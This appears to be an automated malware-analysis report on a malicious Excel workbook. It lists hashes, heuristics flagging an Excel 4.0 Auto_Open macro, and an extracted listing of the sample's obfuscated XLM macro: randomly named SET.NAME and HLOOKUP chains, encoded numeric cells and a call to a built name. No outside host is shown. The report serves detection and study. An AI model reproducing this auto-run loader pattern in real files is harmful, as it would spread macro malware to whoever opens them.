Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc5eea71efaafa9c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:39 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 6fe622b3411630e310d7653f44bf8dcb SHA-1: 733405973d1a9afd694ad5080b6aa620fdf8938d SHA-256: bc5eea71efaafa9cc57505f6cecf0fa629ffa02a35d333cfba9fff6d54050c79
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6688 bytes
SHA-256: d6a3d90a98f9156c0414a784d652c7db983f76b0392d8c2ccf747f0aa1662837
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  krzpYEn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     22 LABEL : Cell Value, String Constant - bXDnFDy len=0 
' 0018     22 LABEL : Cell Value, String Constant - CrmOHLU len=0 
' 0018     27 LABEL : Cell Value, String Constant - daoGqiCZpRaH len=0 
' 0018     22 LABEL : Cell Value, String Constant - HcUxlLT len=0 
' 0018     24 LABEL : Cell Value, String Constant - IMiAwfWHe len=0 
' 0018     23 LABEL : Cell Value, String Constant - JutxGSFM len=0 
' 0018     25 LABEL : Cell Value, String Constant - kAaReaZBKp len=0 
' 0018     22 LABEL : Cell Value, String Constant - LahOKMY len=0 
' 0018     24 LABEL : Cell Value, String Constant - lchnvjhZh len=0 
' 0018     21 LABEL : Cell Value, String Constant - LiyVVO len=0 
' 0018     23 LABEL : Cell Value, String Constant - LPGIEHBJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - LSWdErmD len=0 
' 0018     24 LABEL : Cell Value, String Constant - nBATFhBoH len=0 
' 0018     21 LABEL : Cell Value, String Constant - NiDbeO len=0 
' 0018     22 LABEL : Cell Value, String Constant - nYYrqLE len=0 
' 0018     22 LABEL : Cell Value, String Constant - sWuoNHt len=0 
' 0018     23 LABEL : Cell Value, String Constant - TcmbBmmv len=0 
' 0018     23 LABEL : Cell Value, String Constant - ueDzlJJQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - XijLYOIcWVw len=0 
' 0018     26 LABEL : Cell Value, String Constant - XKEpySDPIlB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  krzpYEn,F52,"SET.NAME("TcmbBmmv",0+VALUE("0"))",""
'  krzpYEn,F57,"SET.NAME("bXDnFDy",TcmbBmmv)",""
'  krzpYEn,F59,"SET.NAME("sWuoNHt",TcmbBmmv)",""
'  krzpYEn,F64,"SET.NAME("XijLYOIcWVw",COUNTA(LSWdErmD))",""
'  krzpYEn,F67,"SET.NAME("nBATFhBoH",COUNTA(kAaReaZBKp))",""
'  krzpYEn,R68,"",604.00000000000000000000
'  krzpYEn,R69,"",-381.00000000000000000000
'  krzpYEn,R70,"",-908.00000000000000000000
'  krzpYEn,R71,"",821.00000000000000000000
'  krzpYEn,F72,[],""
'  krzpYEn,R72,"",-221.00000000000000000000
'  krzpYEn,R73,"",-334.00000000000000000000
'  krzpYEn,F77,"SET.NAME("nYYrqLE","")",""
'  krzpYEn,F82,"bXDnFDy",""
'  krzpYEn,F87,"SET.NAME("NiDbeO",HLOOKUP("*",LSWdErmD,bXDnFDy,FALSE))",""
'  krzpYEn,F89,"LPGIEHBJ",""
'  krzpYEn,F93,"SET.NAME("LiyVVO",TcmbBmmv)",""
'  krzpYEn,F97,[],""
'  krzpYEn,F99,"LiyVVO",""
'  krzpYEn,F102,"JutxGSFM",""
'  krzpYEn,F104,"HcUxlLT",""
'  krzpYEn,F107,"lchnvjhZh",""
'  krzpYEn,F112,"SET.NAME("daoGqiCZpRaH",VALUE(HLOOKUP("*",kAaReaZBKp,lchnvjhZh,FALSE)))",""
'  krzpYEn,F115,"XKEpySDPIlB",""
'  krzpYEn,F118,"nYYrqLE",""
'  krzpYEn,F121,"sWuoNHt",""
'  krzpYEn,F124,NEXT(),""
'  krzpYEn,F129,"LahOKMY",""
'  krzpYEn,F132,[],""
'  krzpYEn,F134,"ueDzlJJQ",""
'  krzpYEn,F136,NEXT(),""
'  krzpYEn,F141,RETURN(),""
'  krzpYEn,F164,"SET.NAME("CrmOHLU",F52)",""
'  krzpYEn,F169,"LSWdErmD",""
'  krzpYEn,F173,"SET.NAME("kAaReaZBKp",R85C13)",""
'  krzpYEn,F176,"SET.NAME("ueDzlJJQ",185)",""
'  krzpYEn,F180,"SET.NAME("IMiAwfWHe",6)",""
'  krzpYEn,F184,CrmOHLU(),""
'  krzpYEn,F185,HALT(),""

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